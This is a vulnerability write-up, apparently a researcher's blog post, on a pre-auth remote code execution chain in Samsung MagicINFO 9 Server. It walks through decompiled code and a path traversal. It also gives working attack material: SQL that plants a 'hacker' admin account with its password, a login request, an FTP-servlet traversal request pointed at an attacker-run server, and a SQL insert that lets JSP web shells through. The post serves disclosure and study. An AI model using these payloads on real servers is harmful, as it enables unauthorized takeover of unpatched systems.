Source Incite

Samstung Part 2 :: Remote Code Execution in MagicINFO 9 Server

Wed, 28 Jan 2026 22:00:00 +0000

In part 1 I detailed my approach to following a rabbit hole that almost turned into pre-auth remote code execution with a default setup. Although I didn’t achieve my goal in the first part, on further review of the patches I was finally able to reach a full success - albeit it does take on average ~12 hours to land the shell. Let’s investigate the bug chain and determine why.

Please note that in this blog post, I will show you snippets of code decompiled directly with the fernflower decompiler instead of the usual jd-eclipse. This is because jd-eclipse failed to decompile many of the classes correctly.

Version

The version that was tested, was the latest patched version at the time, 21.1080.0. The file that was tested was MagicInfo 9 Server 21.1080.0 Setup.zip released on the 5th of August, 2025 and had a sha1 hash of 9744711fe76e7531f128835bf83c9ae001069115. Note that the patch in July was fixing 18 high impact vulnerabilities, many that were pre-authenticated or allowed for an authentication bypass.

Bugs

Today we are going to discuss the following bugs:

SRC-2025-0003 - Samsung MagicINFO 9 Server downloadChangedFiles Directory Traversal Authentication Bypass Vulnerability
SRC-2025-0004 - Samsung MagicINFO 9 Server ResponseUploadActivity TOCTOU Remote Code Execution Vulnerability

The WSServlet Attack Surface

    <servlet>
        <servlet-name>WSRMService</servlet-name>
        <servlet-class>com.samsung.magicinfo.protocol.http.service.WSServlet</servlet-class>
        <init-param>
            <param-name>CONF_PATH</param-name>
            <param-value>/WEB-INF/conf/</param-value>
        </init-param>
        <init-param>
            <param-name>SERVICE_DESCRIPTOR</param-name>
            <param-value>
                samsung-wsf-service-descriptor.xml
            </param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>WSRMService</servlet-name>
        <url-pattern>/WSRMService</url-pattern>
    </servlet-mapping>

In the first blog post, I mentioned how there is quite an interesting attack surface in the com.samsung.magicinfo.protocol.http.service.WSServlet. Before we dive into the vulnerability, let’s walk through the attack surface to get a better understanding. When calling the process method inside of com.samsung.magicinfo.protocol.interfaces.SRMServiceInterfaceImpl class which is called from any of the web service requests; NOTIFY, DOWNLOAD, REPORT or COMMAND. We reach the following code:

   private MOMsg process(MOMsg moMsg) throws BasicException {
      ServiceOPManager manager = null;
      manager = ServiceOPManagerFactory.getServiceOPManager(ActionParser.parse(moMsg)); // 1
      return manager.process(moMsg); // 2
   }

At [1] the code will call getServiceOPManager which will return the com.samsung.magicinfo.protocol.interfaces.NOTIFYExecuter class instance if we are calling the NOTIFY function from the web service.

public class NOTIFYExecuter extends Executer {
   Logger logger = LoggingManagerV2.getLogger(NOTIFYExecuter.class);

   protected AppBO process(HashMap params) throws BasicException {
      AppBO responseAppBO = null;
      String mo_Event = null;

      try {
         mo_Event = this.resultSet.getAttribute("MO_EVENT");
      } catch (RMQLException ex) {
         this.logger.error((String)"", (Throwable)ex);
         throw new BasicException(ex.getMessage(), ex);
      }

      try {
         ServiceDispatcher dispatcher = WSRMServiceDispatcher.getInstance();
         ServiceFactory sfc = WSRMServiceFactory.getInstance();
         String service_id = sfc.getServiceId(mo_Event, this.appBO.getOperation()); // 3
         responseAppBO = (AppBO)dispatcher.startService(service_id, params); // 4
         return responseAppBO;
      } catch (Exception ex) {
         this.logger.error((String)"", (Throwable)ex);
         throw new BasicException(ex.getMessage(), ex);
      }
   }
}

Calling into the com.samsung.magicinfo.protocol.servicemanager.WSRMServiceFactory classes getServiceId at [3] the code attempts to determine what the service_id is for this request. This is important because an attacker cannot directly control it:

   public String getServiceId(String mo_path, String operation) {
      for(int i = 0; i < serviceOpMapList.size(); ++i) {
         ServiceOpMap serviceOpMap = (ServiceOpMap)serviceOpMapList.get(i); // 5
         if (operation != null && operation.equals(serviceOpMap.getOperation())) { // 6
            if (mo_path == null) {
               if (serviceOpMap.getMo_path() == null) {
                  return serviceOpMap.getService_id();
               }
            } else {
               if (serviceOpMap.getMo_path() == null) {
                  return serviceOpMap.getService_id();
               }

               if (mo_path.indexOf(serviceOpMap.getMo_path()) >= 0) { // 7
                  return serviceOpMap.getService_id();
               }
            }
         }
      }

      return null;
   }

At [5] the code gets each serviceOpMap from the serviceOpMapList and checks that the [6] incoming operation is matching and if a mo_path is defined, that it matches the one in the serviceOpMap at [7]. If it does, then return the service_id. But where is this serviceOpMapList defined? During initialization we can see that the serviceOpMapList is set from a call to getServiceOpMapList at [8]

   private static synchronized boolean initialize() {
      serviceStore = new HashMap();
      ServiceStatusManager serviceStatusManager = ServiceStatusManagerImpl.getInstance();
      List serviceList = null;

      try {
         serviceList = serviceStatusManager.getServiceManageList();

         for(int i = 0; i < serviceList.size(); ++i) {
            ServiceManageList serviceMgmt = (ServiceManageList)serviceList.get(i);
            serviceStore.put(serviceMgmt.getService_id(), new ServiceInfo(serviceMgmt.getService_id(), serviceMgmt.getService_name(), serviceMgmt.getClass_name(), serviceMgmt.isLogging()));
         }

         serviceOpMapList = serviceStatusManager.getServiceOpMapList(); // 8
      } catch (Exception e) {
         logger.error((Object)e);
      }

      return true;
   }

Inside of the ServiceStatusManagerImpl class, we can see that it’s just a wrapper around the database:

   public List getServiceOpMapList() throws Exception {
      return dao.selectServiceOpMapList();
   }

Which is defined in the com/samsung/magicinfo/protocol/servicestatus/dao/ServiceStatusDAOMapper.xml file:

        <select id="selectServiceOpMapList" resultType="com.samsung.magicinfo.protocol.entity.ServiceOpMap">
                SELECT * FROM MI_RM_MAP_SERVICE_OPERATION
        </select>

When we step into the size method of the ArrayList inside of the getServiceId method, we can see there are 16 entries:

…and these correspond with the number of entries in the MI_RM_MAP_SERVICE_OPERATION table within the database:

Once the service_id has been obtained in com.samsung.magicinfo.protocol.interfaces.NOTIFYExecuter class, then startService is called on the com.samsung.magicinfo.protocol.servicemanager.WSRMServiceDispatcher instance:

   public Object startService(String service_id, Map paramMap) throws Exception {
      ServiceFactory factory = WSRMServiceFactory.getInstance();
      ServiceManager manager = null;

      try {
         manager = factory.getServiceInstance(service_id); // 9
         manager.setParameters(paramMap);
         return manager.startService();
      } catch (Exception e) {
         throw e;
      }
   }

This getServiceInstance call at [9] is quite interesting, because it reveals the processing classes for the web service requests. We know there are 16 available, but what classes process the incoming request body? Back in the com.samsung.magicinfo.protocol.servicemanager.WSRMServiceFactory class we can see the getServiceInstance definition:

   public ServiceManager getServiceInstance(String service_id) throws Exception {
      ActivityContext ctxt = new ActivityContext(service_id);
      ctxt.setInvokeType(1);
      return this.getServiceInstance(ctxt); // 10
   }

   public ServiceManager getServiceInstance(ActivityContext ctxt) throws Exception {
      ServiceManager manager = null;
      String service_id = ctxt.getServiceID();
      ServiceInfo serviceInfo = (ServiceInfo)serviceStore.get(service_id); // 11
      if (serviceInfo == null) {
         throw new ServiceNotFoundException();
      } else {
         try {
            Class serviceManager = Class.forName(serviceInfo.getService_manager_class()); // 13
            manager = (ServiceManager)serviceManager.newInstance(); // 14
         } catch (ClassNotFoundException e) {
            logger.error(e.getMessage());
            throw new ServiceNotFoundException();
         } catch (InstantiationException e) {
            logger.error(e.getMessage());
            throw new ServiceNotFoundException();
         } catch (IllegalAccessException e) {
            logger.error(e.getMessage());
            throw new ServiceNotFoundException();
         }

         if (manager == null) {
            throw new ServiceNotFoundException();
         } else {
            if (manager != null) {
               ctxt.setLogging(serviceInfo.isLogging());
               manager.setContext(ctxt);
               manager.setServiceName(serviceInfo.getService_name());
            }

            return manager; // 15
         }
      }
   }

At [10] the code calls getServiceInstance and at [11] the code attempts to use the service_id as a key to access the relevant ServiceInfo instance. But where is serviceStore set? Well, in the initialize routine of course:

  private static synchronized boolean initialize() {
      serviceStore = new HashMap();
      ServiceStatusManager serviceStatusManager = ServiceStatusManagerImpl.getInstance();
      List serviceList = null;

      try {
         serviceList = serviceStatusManager.getServiceManageList(); // 12

         for(int i = 0; i < serviceList.size(); ++i) {
            ServiceManageList serviceMgmt = (ServiceManageList)serviceList.get(i);
            serviceStore.put(serviceMgmt.getService_id(), new ServiceInfo(serviceMgmt.getService_id(), serviceMgmt.getService_name(), serviceMgmt.getClass_name(), serviceMgmt.isLogging()));
         }

         serviceOpMapList = serviceStatusManager.getServiceOpMapList();
      } catch (Exception e) {
         logger.error((Object)e);
      }

      return true;
   }

The call to getServiceManageList at [2] sets the Map, let’s check it:

   public List getServiceManageList() throws Exception {
      return dao.selectServiceManageList();
   }

This is just another wrapper around the database which is defined in the com/samsung/magicinfo/protocol/servicestatus/dao/ServiceStatusDAOMapper.xml file:

        <select id="selectServiceManageList" resultType="com.samsung.magicinfo.protocol.entity.ServiceManageList">
                SELECT * FROM MI_RM_INFO_SERVICE_MANAGE
        </select>

When checking the database, we see 54 entries:

Back at [11], if the serviceInfo returned is not null, then at [13] manager class is resolved and a new instance is constructed at [14] and then finally returned at [15]. Ultimately, we can sum up the attack surface with a quick SQL query which will reveal the available manager classes for the com.samsung.magicinfo.protocol.http.service.WSServlet class that can process incoming requests. Note that this surface is reachable pre-authenticated.

For example, the com.samsung.magicinfo.framework.device.service.upload.DeviceUploadServiceManager class shows exactly which activity processes the incoming request:

public class DeviceUploadServiceManager extends ServiceManager {
   public Object executeService() throws ServiceException, Exception {
      ServiceOpActivity activity = new DeviceUploadServiceActivity(); // 16
      activity.setContext(this.activityContext);
      Object rt = activity.processActivity(this.paramMap);
      this.endServiceStatus();
      return rt;
   }
}

At [16] the DeviceUploadServiceActivity class is used with a call to processActivity.

Vulnerability Analysis

Upon studying the patch in the com.samsung.magicinfo.framework.monitoring.service.ResponseUploadActivity class which corresponds to CVE-2025-54446 we can see that Samsung developers added the directoryTraversalChecker code at [1].

    public Object process(HashMap params) throws ServiceException {
      ResultSet rs = (ResultSet)params.get("resultset");
      String moDownload = null;
      Device device = null;
      boolean onS3Storage = false;

      try {
         moDownload = rs.getAttribute("MO_DOWNLOAD");
         File file = (File)rs.getObjectAttribute("DOWNLOADABLE_FILE");
         String device_id = rs.getAttribute("DEVICE_ID");
         String content_type = rs.getAttribute("CONTENT-TYPE");
         String contentName = rs.getAttribute("DWN_CONTENT_NAME_ATTR");
         String s3Path = "";
         String path = CommonConfig.get("UPLOAD_HOME");
         if (!path.endsWith("\\") && !path.endsWith("/")) {
            path = path + File.separator;
         }

         if (!onS3Storage) {
            if (content_type.equals("CONTENT")) {
               path = path + CommonConfig.get("CAPTURE_DIR");
            } else if (content_type.equals("PLAYHISTORY")) {
               if (contentName.startsWith("FACE")) {
                  path = path + CommonConfig.get("FACE_LOG_DIR");
               } else {
                  path = path + CommonConfig.get("POP_LOG_DIR");
               }
            }
         } else if (onS3Storage) {
            if (content_type.equals("CONTENT")) {
               s3Path = s3Path + CommonConfig.get("s3.CAPTURE_DIR") + device_id + "/";
            } else if (content_type.equals("PLAYHISTORY")) {
               s3Path = s3Path + CommonConfig.get("s3.POP_DIR") + device_id + "/";
            }
         }

         Path destinationPath = Paths.get(SecurityUtils.directoryTraversalChecker(path + File.separator + contentName, (String)null)); // 1
         Path sourcePath = Paths.get(file.getPath());

         try {
            Files.write(destinationPath, Files.readAllBytes(sourcePath));
         } catch (Exception e) {
            this.logger.error("[MagicInfo_ScreenCaptureUpload] NIO write Exception! contentName : " + contentName + " e : " + e.getMessage());
         }

Not bad, works well. Kinda. The issue is that the constructed path starts with C:\MagicInfo Premium\runtime\upload. The function directoryTraversalChecker just strips traversals. However, we need traversals to survive saveAsFile in com.samsung.magicinfo.protocol.http.service.WSServlet. When processing file attachment messages, we can see that the code calls saveAsFile at [2]:

            for(int i = 0; i < attachmentIndexes.size(); ++i) {
               InputStream fin = null;

               try {
                  fin = mm.getBodyPart((Integer)attachmentIndexes.get(i)).getInputStream();
                  File file = this.saveAsFile((String)attachmentFilenames.get(i), fin); // 2
                  DownloadFile downFile = new DownloadFile();
                  downFile.setFile(file);
                  downFile.setContentName((String)attachmentFilenames.get(i));
                  downFile.setContentType(contentType);
                  downFile.setContentID((String)attachmentFilenames.get(i));
                  attachmentList.add(downFile);
               } catch (Exception var32) {
               } finally {
                  if (fin != null) {
                     try {
                        fin.close();
                     } catch (Exception var31) {
                     }
                  }

               }
            }

   private File saveAsFile(String filePartName, InputStream in) throws IOException {
      File file = null;

      try {
         Path tempFile = Paths.get(this.getFilePath(filePartName)); // 3
         Files.write(tempFile, IOUtils.toByteArray(in));
         file = tempFile.toFile();
         return file;
      } catch (Exception e) {
         this.logger.error("[MagicInfo_WSServeltFileUpload] NIO write Exception! fileName : " + filePartName + " e : " + e.getMessage());
         throw new IOException(e.getMessage());
      }
   }

The code here at [3] will attempt to write to C:\MagicInfo Premium\tomcat\temp. The problem here is that if the filePartName has a folder in it, for example validation\PostgreSQL_checklist.json then the code will throw an exception and not append a valid file for download for the ResponseUploadActivity. This is because the folder path C:\MagicInfo Premium\tomcat\temp\validation doesn’t actually exist. However, we can get around this by using validation/../PostgreSQL_checklist.json as the value!

This triggers a traversal in saveAsFile and allows us to survive, then later in ResponseUploadActivity the ../ is stripped making it validation/PostgreSQL_checklist.json allowing an attacker to target this file. Why is this important? that brings me to the exploitation section.

Exploitation

If we inspect the PostgreSQL_checklist.json file, we can see JSON that looks like this:

{
    "items" : [
        {
            "title" : "check MI_CMS_CODE_MEDIA table",
            "check_query" : "select count(*) from MI_CMS_CODE_MEDIA",
            "resolve_query" : [
                //...
            ],
            "expect" : "18",
            "description" : "Check the number of data stored in the MI_CMS_CODE_MEDIA table."
        }
    ]
}

If the check_query is overwritten with an attacker-controlled stacked query, then they can execute SQL from the following location inside of com.samsung.magicinfo.framework.setup.manager.ServerSetupInfoImpl:

   public void checkCheckingItemsFromJson() throws ConfigException {
      List<DbSchemeCheckEntity> dbSchemeCheckEntities = this.loadDbSchemeCheckList(); // 1
      DbSchemeDao dbSchemeDao = new DbSchemeDao();

      try {
         dbSchemeDao.deleteDbSchemeCheckResult();
         DatabaseManagerDao dao = new DatabaseManagerDao();

         for(DbSchemeCheckEntity dbSchemeCheckEntity : dbSchemeCheckEntities) {
            Integer count = dao.runSelectQuery(dbSchemeCheckEntity.getCheckQuery()); // 2
            boolean checkResult = count.equals(Integer.valueOf(dbSchemeCheckEntity.getExpect()));
            dbSchemeDao.insertCheckingResult(dbSchemeCheckEntity.getTestId(), dbSchemeCheckEntity.getTitle(), checkResult, dbSchemeCheckEntity.getDescription());
         }
      } catch (Exception e) {
         this.logger.error(e.getMessage());
      }

   }

At [1] the code gets a list of DbSchemeCheckEntity types. At [2] a getter is called on CheckQuery from the DbSchemeCheckEntity instance and returns the attacker-controlled SQL query and then runSelectQuery is triggered for a complete database takeover. The way to reach this code is via the following code path:

com.samsung.magicinfo.framework.setup.manager.ServerSetupInfoImpl.checkCheckingItemsFromJson()
    com.samsung.magicinfo.protocol.util.DailyJob.checkDbValidation()
        com.samsung.magicinfo.protocol.util.DailyJob.execute(JobExecutionContext) // triggered daily

This checkDbValidation is executed daily:

   private void checkDbValidation() throws Exception {
      ServerSetupInfo serverSetupInfo = ServerSetupInfoImpl.getInstance();
      serverSetupInfo.checkCheckingItemsFromJson(); // 3
      //...
   }

Let’s dive into loadDbSchemeCheckList at [1]:

   public List loadDbSchemeCheckList() throws ConfigException {
      List<DbSchemeCheckEntity> dbSchemeCheckEntities = new ArrayList();
      String confFilePath = this.getDbSchemeCheckItemsFilePath(); // 4

      try (FileReader fileReader = new FileReader(confFilePath)) {
         JsonParser jsonParser = new JsonParser();
         JsonElement parse = jsonParser.parse((Reader)fileReader);
         JsonObject asJsonObject = parse.getAsJsonObject();
         JsonArray items = asJsonObject.getAsJsonArray("items");

         for(int i = 0; i < items.size(); ++i) {
            JsonObject jsonObject = items.get(i).getAsJsonObject();
            String title = jsonObject.get("title").getAsString();
            String checkQuery = jsonObject.get("check_query").getAsString();
            List<String> resolveQueries = new ArrayList();
            JsonElement resolveQuery = jsonObject.get("resolve_query");
            JsonArray jsonArray = resolveQuery.getAsJsonArray();

            for(int k = 0; k < jsonArray.size(); ++k) {
               resolveQueries.add(jsonArray.get(k).getAsJsonObject().get("query").toString().replace("\"", ""));
            }

            String expect = jsonObject.get("expect").getAsString();
            String description = jsonObject.get("description").getAsString();
            DbSchemeCheckEntity dbSchemeCheckItem = new DbSchemeCheckEntity();
            dbSchemeCheckItem.setTestId(i);
            dbSchemeCheckItem.setTitle(title);
            dbSchemeCheckItem.setCheckQuery(checkQuery);
            dbSchemeCheckItem.setResolveQuery(resolveQueries);
            dbSchemeCheckItem.setExpect(expect);
            dbSchemeCheckItem.setDescription(description);
            dbSchemeCheckEntities.add(dbSchemeCheckItem);
         }

         return dbSchemeCheckEntities;
      } catch (Exception var29) {
         throw new ConfigException("Can't load check list.");
      }
   }

The most important call is at [4], which calls getDbSchemeCheckItemsFilePath:

   private String getDbSchemeCheckItemsFilePath() throws ConfigException {
      String dbSchemeCheckItemsFilePath = "";
      String magicInfoHome = System.getenv("MAGICINFO_PREMIUM_HOME");
      if (magicInfoHome != null && !magicInfoHome.equals("")) {
         dbSchemeCheckItemsFilePath = magicInfoHome + File.separator + "runtime" + File.separator + "upload" + File.separator + "validation" + File.separator + CommonConfig.get("wsrm.dbVendor") + "_checklist.json";
      }

      return dbSchemeCheckItemsFilePath;
   }

This code returns the C:/MagicInfo Premium/runtime/upload/validation/PostgreSQL_checklist.json path if the database is set to Postgres (it is by default).

Option 1 - Authentication Bypass

The primitive here is that the attacker can execute a series of SQL statements. Now, we don’t have enough permissions for a COPY (SELECT '') to PROGRAM 'cmd /c mspaint') and call it done. What we can do though is inject a query that will insert a new administrative user:

insert into mi_user_info_user (user_id, user_name, password, email, organization, team, job_position, phone_num, mobile_num, create_date, last_login_date, modify_date, is_approved, is_deleted, root_group_id, os_type, serial_num, using_mobile, is_reject, reject_reason, ldap_info, ldap_user_id, is_first_login, is_reset_pwd) values ('hacker', 'hacker', '$2a$10$b0G4pkAMSG/kqMeufR5sYOq6ou.A10YDmLVlKchC.2bVrcRthvwlu', 'hacker@samsung.com', 'ROOT', '', '', '', '', current_timestamp, current_timestamp, current_timestamp , 'Y', 'N', '0', null, null, null, 'N', null, null, '', true, 'Y' );
insert into mi_user_map_group_user (user_id, group_id) values ('hacker', 0);
insert into mi_user_map_role_user (user_id, role_id) values ('hacker', 1);
insert into mi_user_map_dashboard (user_id, dashboard_id, priority) values ('hacker', 1, 1);
insert into mi_user_map_dashboard (user_id, dashboard_id, priority) values ('hacker', 2, 2);

By running the following queries, the attacker can add an admin user hacker:7v4e2R1DeD3kCoZ4j3. Now they can login with the following request:

POST /MagicInfo/restapi/v2.0/auth HTTP/1.1
Host: [target]:7001
Content-Type: application/json
Content-Length: 88

{
  "password": "7v4e2R1DeD3kCoZ4j3",
  "username": "hacker",
  "osName": "Linux",
  "osVersion": "1337"
}

Note that in newer version, two-factor is enabled by default so the attacker will need to add an authenticator to continue, but essentially the job is done here!

Option 2 - CVE-2025-54438 Varient

When studying CVE-2025-54438, I found that there were indeed two downloadChangedFiles methods. These two methods mapped to corresponding servlet classes:

com.samsung.magicinfo.protocol.file.CifsFileDownloadServlet
com.samsung.magicinfo.protocol.file.FtpFileDownloadServlet

Upon studying the code, I could see that the patched version of the CifsFileDownloadServlet had a directory traversal check on the localPathByIp variable, which was built up from attacker-controlled strings such as the cifsLoginId:

   protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
      request.setCharacterEncoding("UTF-8");
      response.setContentType("text/html; charset=UTF-8");

      try {
         String miUserId = StrUtils.nvl(request.getParameter("miUserId")).equals("") ? "admin" : request.getParameter("miUserId");
         String groupId = StrUtils.nvl(request.getParameter("groupId")).equals("") ? "0" : request.getParameter("groupId");
         long nGroupId = Long.parseLong(groupId);
         String cifsContentName = StrUtils.nvl(request.getParameter("cifsContentName")).equals("") ? "" : request.getParameter("cifsContentName");
         String cifsIP = StrUtils.nvl(request.getParameter("cifsIp")).equals("") ? "" : request.getParameter("cifsIp");
         String cifsLoginId = StrUtils.nvl(request.getParameter("cifsLoginId")).equals("") ? "" : request.getParameter("cifsLoginId");
         String cifsPassword = StrUtils.nvl(request.getParameter("cifsPassword")).equals("") ? "" : request.getParameter("cifsPassword");
         String cifsDirectory = StrUtils.nvl(request.getParameter("cifsDirectory")).equals("") ? "" : request.getParameter("cifsDirectory");
         String cifsRefreshInterval = StrUtils.nvl(request.getParameter("cifsRefreshInterval")).equals("") ? "1" : request.getParameter("cifsRefreshInterval");
         long nCifsRefreshInterval = Long.parseLong(cifsRefreshInterval);
         String canRefresh = StrUtils.nvl(request.getParameter("canRefresh")).equals("") ? "Y" : request.getParameter("canRefresh");
         long loginRetryMaxCount = Long.parseLong(StrUtils.nvl(request.getParameter("loginRetryMaxCount")).equals("") ? "1" : request.getParameter("loginRetryMaxCount"));
         String canLoginRetry = StrUtils.nvl(request.getParameter("canLoginRetry")).equals("") ? "Y" : request.getParameter("canLoginRetry");
         String CONTENTS_HOME = CommonConfig.get("CONTENTS_HOME").replace('/', File.separatorChar) + File.separatorChar + "contents_home";
         String contentId = UUID.randomUUID().toString().toUpperCase();
         cifsDirectory = "smb://" + cifsIP + cifsDirectory;
         String localPathByIp = SecurityUtils.directoryTraversalChecker(CONTENTS_HOME + File.separator + "CIFS_" + ContentUtils.getFolderIp(cifsIP) + '_' + cifsLoginId, (String)null); // 1
         this.logger.info("[MagicInfo_CIFS_Servlet] " + cifsContentName + ContentUtils.getFolderIp(cifsIP) + cifsLoginId + cifsDirectory + cifsRefreshInterval + " by " + miUserId + " in " + groupId + ", canRefresh[" + canRefresh + "] loginRetryMaxCount[>
         boolean scheduledJob = false;
         Runnable runCifs = new CifsFileDownloadThread(miUserId, nGroupId, contentId, cifsContentName, cifsIP, cifsLoginId, cifsPassword, localPathByIp, cifsDirectory, nCifsRefreshInterval, scheduledJob, canRefresh, loginRetryMaxCount, canLoginRetry);
         Thread threadCifs = new Thread(runCifs);
         threadCifs.start();
      } catch (Exception e) {
         response.sendError(600, e.toString());
         this.logger.error((Object)e);
      }

   }

The cifsLoginId is a getParameter is used to build a path string but if I’m being honest I couldn’t see how this lead to an “Authentication Bypass”. How was this to be exploited? I was scratching my head for a while, eventually I gave in and reached out to the great hackers from Shielder who promptly shared with me their report!

The tl;dr; is that they created their own CIFS server with the username set to /../../../../server/. The code inside of CifsFileDownloadServlet eventually downloads files from the attacker-controlled CIFS server and writes it into a path that is controlled due to the traversals. They were not able to write JSP files into the web-root due to a specific check (which we will get to in just a bit) but they were able to overwrite the index.html file which gave them persistent script injection without any social engineering, essentially bypassing authentication. Very clever!

But we still had a little problem, there were two servlets remember? When investigating the com.samsung.magicinfo.protocol.file.FtpFileDownloadServlet class, we can see that a path is built called localPathByIp from an attacker-controlled string.

   protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
      request.setCharacterEncoding("UTF-8");
      response.setContentType("text/html; charset=UTF-8");

      try {
         String miUserId = StrUtils.nvl(request.getParameter("miUserId")).equals("") ? "admin" : request.getParameter("miUserId");
         String groupId = StrUtils.nvl(request.getParameter("groupId")).equals("") ? "0" : request.getParameter("groupId");
         long nGroupId = Long.parseLong(groupId);
         String ftpContentName = StrUtils.nvl(request.getParameter("ftpContentName")).equals("") ? "" : request.getParameter("ftpContentName");
         String ftpIP = StrUtils.nvl(request.getParameter("ftpIp")).equals("") ? "" : request.getParameter("ftpIp");
         String portStr = StrUtils.nvl(request.getParameter("ftpPort")).equals("") ? "21" : request.getParameter("ftpPort");
         int port = Integer.parseInt(portStr);
         String ftpLoginId = StrUtils.nvl(request.getParameter("ftpLoginId")).equals("") ? "" : request.getParameter("ftpLoginId"); // 1
         String ftpPassword = StrUtils.nvl(request.getParameter("ftpPassword")).equals("") ? "" : request.getParameter("ftpPassword");
         String ftpDirectory = StrUtils.nvl(request.getParameter("ftpDirectory")).equals("") ? "" : request.getParameter("ftpDirectory"); // 2
         String ftpRefreshInterval = StrUtils.nvl(request.getParameter("ftpRefreshInterval")).equals("") ? "1" : request.getParameter("ftpRefreshInterval");
         long nFtpRefreshInterval = Long.parseLong(ftpRefreshInterval);
         String canRefresh = StrUtils.nvl(request.getParameter("canRefresh")).equals("") ? "Y" : request.getParameter("canRefresh");
         long loginRetryMaxCount = Long.parseLong(StrUtils.nvl(request.getParameter("loginRetryMaxCount")).equals("") ? "1" : request.getParameter("loginRetryMaxCount"));
         String canLoginRetry = StrUtils.nvl(request.getParameter("canLoginRetry")).equals("") ? "Y" : request.getParameter("canLoginRetry");
         String CONTENTS_HOME = CommonConfig.get("CONTENTS_HOME").replace('/', File.separatorChar) + File.separatorChar + "contents_home";
         String contentId = UUID.randomUUID().toString().toUpperCase();
         this.logger.info("[MagicInfo_FTP_Servlet] " + ftpContentName + ContentUtils.getFolderIp(ftpIP) + portStr + ftpLoginId + ftpPassword + ftpDirectory + ftpRefreshInterval + miUserId + groupId + ", canRefresh[" + canRefresh + "] loginRetryMaxCount[>
         String localPathByIp = CONTENTS_HOME + File.separator + "FTP_" + ContentUtils.getFolderIp(ftpIP) + '_' + ftpLoginId + '_' + ftpDirectory.replace('/', '_'); // 3
         boolean scheduledJob = false;
         Runnable runFTP = new FtpFileDownloadThread(miUserId, nGroupId, contentId, ftpContentName, ftpIP, port, ftpLoginId, ftpPassword, localPathByIp, ftpDirectory, nFtpRefreshInterval, scheduledJob, canRefresh, loginRetryMaxCount, canLoginRetry);
         Thread threadFTP = new Thread(runFTP);
         threadFTP.start();
      } catch (Exception e) {
         response.sendError(600, e.toString());
         this.logger.error((Object)e);
      }

   }

At [1] the code gets the request parameter ftpLoginId. Additionally, the ftpDirectory request parameter at [2] is also used at [3] to build a path called localPathByIp. This caught my attention because there is no directory traversal check! But it appears that we have a problem, the ftpDirectory variable has a string replace method triggered replacing any forward slash with underscores! But we can simply use backslashes! If the attacker creates the server folder and places a index.html file inside and runs the following command on Windows (or a filesystem that uses backslashes) python -m pyftpdlib -u user -P pwd -p 2121, then they can force the MagicInfo server to download and overwrite the index.html again to get an authentication bypass!

Proof of Concept:

GET /MagicInfo/servlet/FtpFileDownloadServlet?ftpLoginId=user&ftpPassword=pwd&ftpIp=[attacker]&ftpPort=2121&ftpDirectory=test%5c..%5c..%5c..%5c..%5cserver%5c HTTP/1.1
Host: [target]:7002
Accept: application/json

If the attacker simply uses the ftpLoginId for a traversal, then they will finish with a path that looks like this: C:\MagicInfo Premium\runtime\upload\contents_home\FTP_192_168_18_137_user1_. The _ underscore at the end means that we can only write html files into the path C:/MagicInfo Premium/server/_/. That extra underscore will mitigate the authentication bypass because no logged in user will visit /_/index.html.

When trying with a JSP file, it doesn’t appear to be copied over, thus, an attacker can’t get a remote code injection primitive directly. Let’s investigate why it won’t process JSP files. Inside of the com.samsung.magicinfo.protocol.file.FtpGetFiles class, we see:

   private boolean getFileList() throws IOException, SQLException {
      FTPFile[] ftpFiles = this.client.listFiles(); // 1
      if (ftpFiles == null) {
         return false;
      } else {
         for(FTPFile file : ftpFiles) {
            if (file.isFile() && !file.isDirectory()) {
               boolean validType = false;
               String[] tempName = file.getName().split("[.]");
               int sizeOfSplitName = 0;
               if (tempName.length > 0) {
                  sizeOfSplitName = tempName.length - 1;
                  validType = this.contentInfo.getCodeFile(tempName[sizeOfSplitName].toUpperCase()).equalsIgnoreCase(""); // 2
               }

               if (!validType) { // 3
                  this.remoteFiles.add(this.makeRemoteFileInfo(file.getName(), file.getSize(), "NONE", "N")); // 4
               }
            }
         }

         return true;
      }

At [1] the code will get a list of all the files from the remote ftp server. For each file, the code will extract the file extension and call getCodeFile at [2]. Inside of the com.samsung.magicinfo.framework.content.manager.ContentInfoImpl class:

   public String getCodeFile(String fileType) throws SQLException {
      return this.dao.getCodeFile(fileType);
   }

And then inside of the com.samsung.magicinfo.framework.content.dao.ContentDao class:

   public String getCodeFile(String fileType) throws SQLException {
      Map<String, Object> map = new HashMap();
      map.put("fileType", fileType);
      map.put("ConstMEDIA_TYPE_IMAGE", "IMAGE");
      map.put("ConstMEDIA_TYPE_MOVIE", "MOVIE");
      map.put("ConstMEDIA_TYPE_FLASH", "FLASH");
      map.put("ConstMEDIA_TYPE_OFFICE", "OFFICE");
      map.put("ConstMEDIA_TYPE_PDF", "PDF");
      List<String> list = ((ContentDaoMapper)this.getMapper()).getCodeFile(map);
      return list != null && list.size() > 0 ? (String)list.get(0) : "";
   }

And finally inside of the com.samsung.magicinfo.framework.content.dao.ContentDaoMapper.xml file:

        <select id="getCodeFile" parameterType="map" resultType="string">
                SELECT
                MEDIA_TYPE
                FROM
                MI_CMS_CODE_FILE
                WHERE
                (MEDIA_TYPE =
                #{ConstMEDIA_TYPE_IMAGE} OR MEDIA_TYPE = #{ConstMEDIA_TYPE_MOVIE}
                OR
                MEDIA_TYPE = #{ConstMEDIA_TYPE_FLASH} OR MEDIA_TYPE =
                #{ConstMEDIA_TYPE_OFFICE}
                OR MEDIA_TYPE = #{ConstMEDIA_TYPE_PDF}) AND
                FILE_TYPE = #{fileType}
        </select>

Doing a quick database query reveals 52 office extensions that we can’t (ab)use for remote code execution:

SELECT DISTINCT FILE_TYPE FROM MI_CMS_CODE_FILE WHERE (MEDIA_TYPE = 'IMAGE' OR MEDIA_TYPE = 'MOVIE' OR MEDIA_TYPE = 'FLASH' OR MEDIA_TYPE = 'OFFICE' OR MEDIA_TYPE = 'PDF')

However, if no extension is found, the code will return an empty string then back at [2] validType will become True. Only if validType is False will it add the remote file at [4]. I know, wierd and backwards logic right Samsung developers!? We can get around this though. Remember that we have our arbitrary SQL execution primitive! All we need to do is execute insert into mi_cms_code_file values (1337, 'PDF', 'JSP', 'Y'); and we can write web shells all we like!

Proof of Concept

You can download the poc here.

Wrap-up

It was a fun fuelled few days of patch review that lead spilling out a few more high impact bugs. Thanks for reading along, if you enjoy this kind of content please reach out to me on X so that I know it’s not being eaten up solely by the soulless AI machine.

Samstung Part 1 :: Remote Code Execution in MagicINFO 9 Server

Wed, 28 Jan 2026 22:00:00 +0000

